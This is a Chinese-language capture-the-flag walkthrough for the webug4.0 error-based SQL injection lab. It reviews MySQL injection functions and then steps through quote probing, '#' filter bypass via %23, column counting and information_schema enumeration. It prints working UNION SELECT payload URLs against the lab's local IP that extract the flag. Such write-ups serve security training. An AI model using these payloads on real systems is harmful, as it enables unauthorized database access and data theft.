webug4.0-显错注入

0x01 Mysql数据相关知识

1. mysql三种注释风格:

单行注释:sql语句后使用字符#或者--进行注释

多行注释:使用/* */将sql语句圈起来注释

内联注释:内联注释是MySQL数据库为了保持与其他数据库兼容,特意添加的新功能。把Mysql特有的语句放在/*! */中

2.Union联合查询:

1.Union操作符用于拼接两个或者多select查询语句

2.Union中的每个查询必须拥有相同的列数

3.Order by语句:

1.Order by 语句用于根据指定的列对结果集进行排序

2.Order by 语句默认按照升序对记录进行排序

4.Sql注入常用的函数:

1.

user() 当前用户名
current_user() 当前用户名(权限)
database() 当前数据库

version()

数据库版本
@@datadir() 数据库路径
load_file() 读文件
into outfile() into dumpfile 写文件
@@basedir() mysql安装路径

0x02 漏洞利用

 发现注入点之前先查看一下自己服务器上的phpstudy版本是不是下面这个版本:如果不是请切换,如若不然不会报错。

webug4.0-显错注入_第1张图片

1.打开靶场,发现url参数id为1,尝试修改为2 发现回显hello,修改为3 发现正常无回显 我们好像意识到了什么。。。

2.探测是否为注入点,经典加  '  进行探测

 发现报错

3.简单构造语句

 发现空格没被过滤,但是#号被过滤了

4.试用#的url编码%23尝试继续注入

发现没有报错 问题解决 我们继续

5.通过union判断表中列数(也可通过order by进行探测 )

发现报错 继续探测二列

正常 并且回显2 三列不用探测就知道他是会报错的

6.使用函数替换数字1或2

发现回显

把user()改为database() 发现数据库webug,别的函数自行按照需要替换即可

7.查看webug中数据表(使用上一步探测出来的数据库webug+mysql自带的信息数据表):

http://192.168.72.136/control/sqlinject/manifest_error.php?id=3'union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug' %23

 发现目标flag表

8.查看flag数据表中的数据段

http://192.168.72.136/control/sqlinject/manifest_error.php?id=3' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' %23

 发现目标flag段

 9.查看数据段内容

http://192.168.72.136/control/sqlinject/manifest_error.php?id=3' union select 1,flag from flag %23

发现flag值

10.提交flag

webug4.0-显错注入_第2张图片

0x03 总结

                                                               比较简单,没有什么过滤和waf啥的,傻瓜式提交即可

你可能感兴趣的:(WEBUG4.0通关)